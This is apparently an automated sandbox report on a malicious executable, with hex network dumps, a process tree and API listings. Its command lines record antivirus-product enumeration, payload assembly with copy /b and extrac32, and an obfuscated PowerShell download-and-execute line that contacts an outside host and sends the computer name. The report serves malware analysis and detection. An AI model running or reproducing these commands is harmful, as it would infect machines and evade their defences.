[@SafeCallException(@@Self@ExceptObject@ExceptAddr1@AfterConstruction@Self1@BeforeDestruction@Self9@Dispatch@SelfMessage
2025-01-01 15:44:40 UTC	1369	IN	Data Raw: 00 02 9c 10 40 00 02 00 05 41 46 6c 61 67 02 00 02 b8 12 40 00 08 00 05 41 44 61 74 61 02 00 02 00 00 5c 23 40 00 07 0f 48 50 50 47 45 4e 41 74 74 72 69 62 75 74 65 b8 22 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 00 00 8c 23 40 00 14 08 50 4d 6f 6e 69 74 6f 72 8c 24 40 00 02 00 a0 23 40 00 14 17 54 4d 6f 6e 69 74 6f 72 2e 50 57 61 69 74 69 6e 67 54 68 72 65 61 64 c0 23 40 00 02 00 00 c4 23 40 00 0e 17 54 4d 6f 6e 69 74 6f 72 2e 54 57 61 69 74 69 6e 67 54 68 72 65 61 64 0c 00 00 00 00 00 00 00 00 03 00 00 00 9c 23 40 00 00 00 00 00 02 04 4e 65 78 74 02 00 e4 10 40 00 04 00 00 00 02 06 54 68 72 65 61 64 02 00 00 11 40 00 08 00 00 00 02 09 57 61 69 74 45 76 65 6e 74 02 00 02 00 00 00 00 00 00 2c 24 40 00 0e 12 54 4d 6f 6e 69 74 6f Data Ascii: @AFlag@AData\#@HPPGENAttribute"@4 @System#@PMonitor$@#@TMonitor.PWaitingThread#@#@TMonitor.TWaitingThread#@Next@Thread@WaitEvent,$@TMonito
2025-01-01 15:44:40 UTC	1369	IN	Data Raw: 43 6f 6e 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 ec f1 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 2b 00 00 f2 40 00 0b 4e 65 77 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 14 29 40 00 07 11 54 49 6e 74 65 72 66 61 63 65 64 4f 62 6a 65 63 74 2c 28 40 00 9c 1f 40 00 00 00 06 53 79 73 74 65 6d 00 00 01 00 02 47 29 40 00 02 00 02 00 00 00 9c 10 40 00 d4 f1 40 00 00 00 00 00 01 00 00 00 00 00 00 80 00 00 00 80 ff ff 08 52 65 66 43 6f 75 6e 74 00 00 cc 83 44 24 04 fc e9 21 c9 00 00 83 44 24 04 fc e9 3f c9 00 00 83 44 24 04 fc e9 41 c9 00 00 cc 6d 29 Data Ascii: Construction)@Self1@BeforeDestruction)@Self+@NewInstance@Self)@TInterfacedObject,(@@SystemG)@@@RefCountD$!D$?D$Am)
2025-01-01 15:44:40 UTC	1369	IN	Data Raw: 00 00 02 08 56 42 6f 6f 6c 65 61 6e 02 00 00 11 40 00 08 00 00 00 02 08 56 55 6e 6b 6e 6f 77 6e 02 00 64 10 40 00 08 00 00 00 02 09 56 53 68 6f 72 74 49 6e 74 02 00 b4 10 40 00 08 00 00 00 02 05 56 42 79 74 65 02 00 cc 10 40 00 08 00 00 00 02 05 56 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 09 56 4c 6f 6e 67 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 07 56 55 49 6e 74 33 32 02 00 14 11 40 00 08 00 00 00 02 06 56 49 6e 74 36 34 02 00 34 11 40 00 08 00 00 00 02 07 56 55 49 6e 74 36 34 02 00 00 11 40 00 08 00 00 00 02 07 56 53 74 72 69 6e 67 02 00 00 11 40 00 08 00 00 00 02 04 56 41 6e 79 02 00 d4 2b 40 00 08 00 00 00 02 06 56 41 72 72 61 79 02 00 00 11 40 00 08 00 00 00 02 08 56 50 6f 69 6e 74 65 72 02 00 00 11 40 00 08 00 00 00 02 08 56 55 53 74 72 69 Data Ascii: VBoolean@VUnknownd@VShortInt@VByte@VWord@VLongWord@VUInt32@VInt644@VUInt64@VString@VAny+@VArray@VPointer@VUStri
2025-01-01 15:44:40 UTC	1369	IN	Data Raw: 00 00 00 24 17 40 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 43 00 9b 35 40 00 44 00 f4 ff c1 35 40 00 41 00 f4 ff e6 35 40 00 41 00 f4 ff 0c 36 40 00 41 00 f4 ff 34 36 40 00 41 00 f4 ff 62 36 40 00 41 00 f4 ff 90 36 40 00 43 00 f4 ff c6 36 40 00 43 00 f4 ff 11 37 40 00 43 00 f4 ff 45 37 40 00 43 00 f4 ff a7 37 40 00 43 00 f4 ff 09 38 40 00 43 00 f4 ff 6b 38 40 00 43 00 f4 ff cd 38 40 00 43 00 f4 ff 2f 39 40 00 43 00 f4 ff 91 39 40 00 43 00 f4 ff f3 39 40 00 43 00 f4 ff 55 3a 40 00 43 00 f4 ff b7 3a 40 00 43 00 f4 ff 19 3b 40 00 43 00 f4 ff 7b 3b 40 00 43 00 f4 ff dd 3b 40 00 43 00 f4 ff 3f 3c 40 00 43 00 f4 ff a1 3c 40 00 43 00 f4 ff 03 3d 40 00 43 00 f4 ff Data Ascii: $@~@@@@@@@@}@}@}@C5@D5@A5@A6@A46@Ab6@A6@C6@C7@CE7@C7@C8@Ck8@C8@C/9@C9@C9@CU:@C:@C;@C{;@C;@C?<@C<@C=@C
2025-01-01 15:44:40 UTC	1369	IN	Data Raw: 01 04 4c 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 3c 4c 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 08 32 40 00 01 00 03 53 72 63 02 00 01 3c 4c 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 Data Ascii: L@Dest@StartIndex@Countb(JCopySelf<L@Src@StartIndex2@Dest@Countb(JCopySelf2@Src<L@Dest@StartIndex@Countb(JC

Target ID:	0
Start time:	10:43:54
Start date:	01/01/2025
Path:	C:\Users\user\Desktop\Active_Setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Active_Setup.exe"
Imagebase:	0x400000
File size:	1'133'619 bytes
MD5 hash:	736D94D331CF5D6A2CC45F4743132008
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:43:55
Start date:	01/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Vocal Vocal.cmd & Vocal.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:43:55
Start date:	01/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:43:57
Start date:	01/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x200000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:43:57
Start date:	01/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0x900000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:43:58
Start date:	01/01/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x200000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:43:58
Start date:	01/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0x900000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:43:58
Start date:	01/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 529052
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:43:58
Start date:	01/01/2025
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	extrac32 /Y /E Trials
Imagebase:	0x30000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:44:00
Start date:	01/01/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "APPROXIMATELY" Compound
Imagebase:	0x900000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:44:00
Start date:	01/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b 529052\Bother.com + Stones + Floral + Web + Know + Howard + Holly + Production + Stored + Britney + Musicians 529052\Bother.com
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:44:00
Start date:	01/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Hopes + ..\Newark + ..\Announces + ..\Much + ..\Fabrics + ..\Forums + ..\Regardless + ..\Train k
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:44:00
Start date:	01/01/2025
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com
Wow64 process (32bit):	true
Commandline:	Bother.com k
Imagebase:	0xbf0000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:44:00
Start date:	01/01/2025
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x7e0000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:44:38
Start date:	01/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Imagebase:	0x1000000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:44:38
Start date:	01/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:44:45
Start date:	01/01/2025
Path:	C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe"
Imagebase:	0x980000
File size:	8'767'044 bytes
MD5 hash:	51F99EDDD33CC04FB0F55F873B76D907
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:44:46
Start date:	01/01/2025
Path:	C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp" /SL5="$40464,7785838,845824,C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe"
Imagebase:	0x5c0000
File size:	3'367'424 bytes
MD5 hash:	F809F51E678B7F2E388F8C969EF902C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:44:47
Start date:	01/01/2025
Path:	C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe" /VERYSILENT
Imagebase:	0x980000
File size:	8'767'044 bytes
MD5 hash:	51F99EDDD33CC04FB0F55F873B76D907
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:44:48
Start date:	01/01/2025
Path:	C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp" /SL5="$50464,7785838,845824,C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe" /VERYSILENT
Imagebase:	0xd90000
File size:	3'367'424 bytes
MD5 hash:	F809F51E678B7F2E388F8C969EF902C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:45:15
Start date:	01/01/2025
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	"timeout" 9
Imagebase:	0x7ff77cbb0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:45:15
Start date:	01/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:45:24
Start date:	01/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Imagebase:	0x7ff7084b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	10:45:24
Start date:	01/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:45:24
Start date:	01/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Imagebase:	0x7ff739600000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:45:24
Start date:	01/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "wrsa.exe"
Imagebase:	0x7ff786aa0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:45:24
Start date:	01/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Imagebase:	0x7ff7084b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:45:24
Start date:	01/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:45:24
Start date:	01/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Imagebase:	0x7ff739600000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:45:24
Start date:	01/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "opssvc.exe"
Imagebase:	0x7ff786aa0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	10:45:24
Start date:	01/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Imagebase:	0x7ff7084b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	10:45:24
Start date:	01/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	10:45:24
Start date:	01/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Imagebase:	0x7ff739600000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	10:45:24
Start date:	01/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avastui.exe"
Imagebase:	0x7ff786aa0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	10:45:24
Start date:	01/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Imagebase:	0x7ff7084b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	10:45:24
Start date:	01/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	10:45:25
Start date:	01/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Imagebase:	0x7ff739600000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	10:45:25
Start date:	01/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avgui.exe"
Imagebase:	0x7ff786aa0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	10:45:25
Start date:	01/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Imagebase:	0x7ff7084b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	10:45:25
Start date:	01/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	10:45:25
Start date:	01/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Imagebase:	0x7ff739600000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	10:45:25
Start date:	01/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "nswscsvc.exe"
Imagebase:	0x7ff786aa0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	10:45:25
Start date:	01/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Imagebase:	0x7ff7084b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	10:45:25
Start date:	01/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	10:45:25
Start date:	01/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Imagebase:	0x7ff739600000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	10:45:25
Start date:	01/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "sophoshealth.exe"
Imagebase:	0x7ff786aa0000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	10:45:30
Start date:	01/01/2025
Path:	C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Imagebase:	0x400000
File size:	846'325'235 bytes
MD5 hash:	6A8860A8150021B2D5B9BB707DE4FA37
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	18.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.7%
Total number of Nodes:	1525
Total number of Limit Nodes:	33

Executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
